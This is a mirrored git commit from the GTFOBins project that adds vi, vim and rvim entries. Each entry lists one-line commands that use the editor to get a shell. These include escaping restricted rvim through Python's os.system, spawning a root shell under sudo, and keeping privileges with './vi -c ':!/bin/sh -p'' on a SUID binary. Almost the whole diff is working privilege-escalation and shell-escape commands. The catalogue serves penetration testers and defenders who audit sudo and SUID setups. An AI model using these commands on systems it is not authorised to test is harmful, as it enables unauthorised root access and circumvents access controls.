mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 08:48:54 +01:00 
			
		
		
		
	Add vi(m) commands (#39)
This commit is contained in:
		
							
								
								
									
										18
									
								
								_gtfobins/rvim.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										18
									
								
								_gtfobins/rvim.md
									
									
									
									
									
										Normal file
									
								
							| @@ -0,0 +1,18 @@ | ||||
| --- | ||||
| description: 'From the manual: with rvim "It will not be possible to start shell commands".' | ||||
| functions: | ||||
|   shell: | ||||
|     - code: rvim -c ':py import os;os.system("sh")' | ||||
|   file-write: | ||||
|     - code: | | ||||
|         rvim file_to_write | ||||
|         iDATA | ||||
|         ^[ | ||||
|         w | ||||
|   file-read: | ||||
|     - code: rvim file_to_read | ||||
|   suid: | ||||
|     - code: ./rvim -c ':py import os;os.system("sh")' | ||||
|   sudo: | ||||
|     - code: sudo rvim -c ':py import os;os.system("sh")' | ||||
| --- | ||||
| @@ -6,6 +6,7 @@ functions: | ||||
|         vi | ||||
|         :set shell=/bin/sh | ||||
|         :shell | ||||
|     - code: vi -c ':py import os;os.system("sh")' | ||||
|   file-write: | ||||
|     - code: | | ||||
|         vi file_to_write | ||||
| @@ -18,4 +19,5 @@ functions: | ||||
|     - code: ./vi -c ':!/bin/sh -p' | ||||
|   sudo: | ||||
|     - code: sudo vi -c ':!/bin/sh' | ||||
|     - code: sudo vi -c ':py import os;os.system("sh")' | ||||
| --- | ||||
|   | ||||
| @@ -6,6 +6,7 @@ functions: | ||||
|         vim | ||||
|         :set shell=/bin/sh | ||||
|         :shell | ||||
|     - code: vim -c ':py import os;os.system("sh")' | ||||
|   file-write: | ||||
|     - code: | | ||||
|         vim file_to_write | ||||
| @@ -18,4 +19,5 @@ functions: | ||||
|     - code: ./vim -c ':!/bin/sh -p' | ||||
|   sudo: | ||||
|     - code: sudo vim -c ':!/bin/sh' | ||||
|     - code: sudo vim -c ':py import os;os.system("sh")' | ||||
| --- | ||||
|   | ||||
		Reference in New Issue
	
	Block a user